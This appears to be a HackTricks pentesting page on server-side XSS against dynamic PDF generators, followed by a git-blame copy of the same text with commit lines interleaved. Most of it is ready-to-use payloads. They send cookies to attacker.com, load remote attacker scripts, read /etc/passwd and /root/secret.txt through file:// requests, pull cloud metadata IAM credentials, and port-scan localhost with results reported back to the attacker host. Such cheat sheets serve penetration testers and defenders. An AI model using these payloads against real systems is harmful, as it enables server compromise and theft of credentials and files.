hacktricks/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md

# Server Side XSS (Dynamic PDF)

## Server Side XSS (Dynamic PDF)

If a web page is creating a PDF using user controlled input, you can try to **trick the bot **that is creating the PDF into **executing arbitrary JS code**.\
So, if the **PDF creator bot finds** some kind of **HTML** **tags**, it is going to **interpret **them, and you can **abuse** this behaviour to cause a **Server XSS**.

Please, notice that the `<script><\script>` tags don't work always, so you will need a different method to execute JS (for example, abusing `<img` ).\
Also, note that in a regular exploitation you will be **able to see/download the created pdf**, so you will be able to see everything you **write via JS** (using `document.write()` for example). But, if you **cannot see** the created PDF, you will probably need **extract the information making web request to you** (Blind).

## Payloads

### Discovery

```markup
<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
```

### SVG

Any of the previous of following payloads may be used inside this SVG payload. One iframe accessing Burpcollab subdomain and another one accessing the metadata endpoint are put as examples.

```markup
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
    <g>
        <foreignObject width="800" height="500">
            <body xmlns="http://www.w3.org/1999/xhtml">
                <iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
                <iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
            </body>
        </foreignObject>
    </g>
</svg>
```

### Path disclosure

```markup
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
```

### Load an external script

The best conformable way to exploit this vulnerability is to abuse the vulnerability to make the bot load a script you control locally. Then, you will be able to change the payload locally and make the bot load it with the same code every time.

```markup
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
```

### Read local file

```markup
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
```

```markup
<script>
    xhzeem = new XMLHttpRequest();
    xhzeem.open("GET","file:///etc/passwd");
    xhzeem.send();
    xhzeem.onload = function(){document.write(this.responseText);}
    xhzeem.onerror = function(){document.write('failed!')}
</script>
```

```markup
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
```

### Get external web page response as attachment (metadata endpoints)

```markup
<link rel=attachment href="http://http://169.254.169.254/latest/meta-data/iam/security-credentials/">
```

### Bot delay

```markup
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
    let time = 500;
    setInterval(()=>{
        let img = document.createElement("img");
        img.src = `https://attacker.com/ping?time=${time}ms`;
        time += 500;
    }, 500);
</script>
<img src="https://attacker.com/delay">
```

### Port Scan

```markup
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
    fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
        let img = document.createElement("img");
        img.src = `http://attacker.com/ping?port=${port}`;
    });
}

for(let i=0; i<1000; i++) {
    checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">
```

### [SSRF](../ssrf-server-side-request-forgery.md)

This vulnerability can be transformed very easily in a SSRF (as you can make the script load external resources). So just try to exploit it (read some metadata?).

## References

{% embed url="https://lbherrera.github.io/lab/h1415-ctf-writeup.html" %}

{% embed url="https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/" %}

{% embed url="https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html" %}
GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			`# Server Side XSS (Dynamic PDF)`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			`## Server Side XSS (Dynamic PDF)`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [#2874] update basic github 2021-11-30 13:55:54 +00:00			`If a web page is creating a PDF using user controlled input, you can try to trick the bot that is creating the PDF into executing arbitrary JS code.\`
			`So, if the PDF creator bot finds some kind of HTML tags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS.`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			Please, notice that the `<script><\script>` tags don't work always, so you will need a different method to execute JS (for example, abusing `<img` ).\
			Also, note that in a regular exploitation you will be able to see/download the created pdf, so you will be able to see everything you write via JS (using `document.write()` for example). But, if you cannot see the created PDF, you will probably need extract the information making web request to you (Blind).
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			`## Payloads`

			`### Discovery`

			```markup
GitBook: [master] one page modified 2021-09-08 08:59:37 +00:00			`<!-- Basic discovery, Write somthing-->`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00			`<img src="x" onerror="document.write('test')" />`
GitBook: [master] one page modified 2021-09-08 08:59:37 +00:00			`<script>document.write(JSON.stringify(window.location))</script>`
			`<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			`<!--Basic blind discovery, load a resource-->`
			`<img src="http://attacker.com"/>`
			`<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">`
			`<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>`
			`<link rel=attachment href="http://attacker.com">`
			```

GitBook: [master] one page modified 2021-06-16 09:00:28 +00:00			`### SVG`

			`Any of the previous of following payloads may be used inside this SVG payload. One iframe accessing Burpcollab subdomain and another one accessing the metadata endpoint are put as examples.`

			```markup
			`<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">`
			`<g>`
			`<foreignObject width="800" height="500">`
			`<body xmlns="http://www.w3.org/1999/xhtml">`
			`<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>`
			`<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>`
			`</body>`
			`</foreignObject>`
			`</g>`
			`</svg>`
			```

GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00			`### Path disclosure`

			```markup
			`<!-- If the bot is accessing a file:// path, you will discover the internal path`
			`if not, you will at least have wich path the bot is accessing -->`
			`<img src="x" onerror="document.write(window.location)" />`
			`<script> document.write(window.location) </script>`
			```

			`### Load an external script`

			`The best conformable way to exploit this vulnerability is to abuse the vulnerability to make the bot load a script you control locally. Then, you will be able to change the payload locally and make the bot load it with the same code every time.`

			```markup
			`<script src="http://attacker.com/myscripts.js"></script>`
			`<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>`
			```

			`### Read local file`

			```markup
			`<script>`
			`x=new XMLHttpRequest;`
			`x.onload=function(){document.write(btoa(this.responseText))};`
			`x.open("GET","file:///etc/passwd");x.send();`
GitBook: [master] one page modified 2021-09-08 08:59:37 +00:00			`</script>`
			```

			```markup
			`<script>`
			`xhzeem = new XMLHttpRequest();`
			`xhzeem.open("GET","file:///etc/passwd");`
			`xhzeem.send();`
			`xhzeem.onload = function(){document.write(this.responseText);}`
			`xhzeem.onerror = function(){document.write('failed!')}`
			`</script>`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00			```

			```markup
			`<iframe src=file:///etc/passwd></iframe>`
			`<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>`
			`<link rel=attachment href="file:///root/secret.txt">`
GitBook: [master] one page modified 2020-11-04 10:26:58 +00:00			`<object data="file:///etc/passwd">`
			`<portal src="file:///etc/passwd" id=portal>`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00			```

GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			`### Get external web page response as attachment (metadata endpoints)`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			```markup
			`<link rel=attachment href="http://http://169.254.169.254/latest/meta-data/iam/security-credentials/">`
			```

			`### Bot delay`

			```markup
			`<!--Make the bot send a ping every 500ms to check how long does the bot wait-->`
			`<script>`
			`let time = 500;`
			`setInterval(()=>{`
			`let img = document.createElement("img");`
			img.src = `https://attacker.com/ping?time=${time}ms`;
			`time += 500;`
			`}, 500);`
			`</script>`
			`<img src="https://attacker.com/delay">`
			```

			`### Port Scan`

			```markup
			`<!--Scan local port and receive a ping indicating which ones are found-->`
			`<script>`
			`const checkPort = (port) => {`
			fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
			`let img = document.createElement("img");`
			img.src = `http://attacker.com/ping?port=${port}`;
			`});`
			`}`

			`for(let i=0; i<1000; i++) {`
			`checkPort(i);`
			`}`
			`</script>`
			`<img src="https://attacker.com/startingScan">`
			```

			`### [SSRF](../ssrf-server-side-request-forgery.md)`

GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			`This vulnerability can be transformed very easily in a SSRF (as you can make the script load external resources). So just try to exploit it (read some metadata?).`
GitBook: [master] 351 pages and 442 assets modified 2020-07-15 15:43:14 +00:00
			`## References`

			`{% embed url="https://lbherrera.github.io/lab/h1415-ctf-writeup.html" %}`

			`{% embed url="https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/" %}`

			`{% embed url="https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html" %}`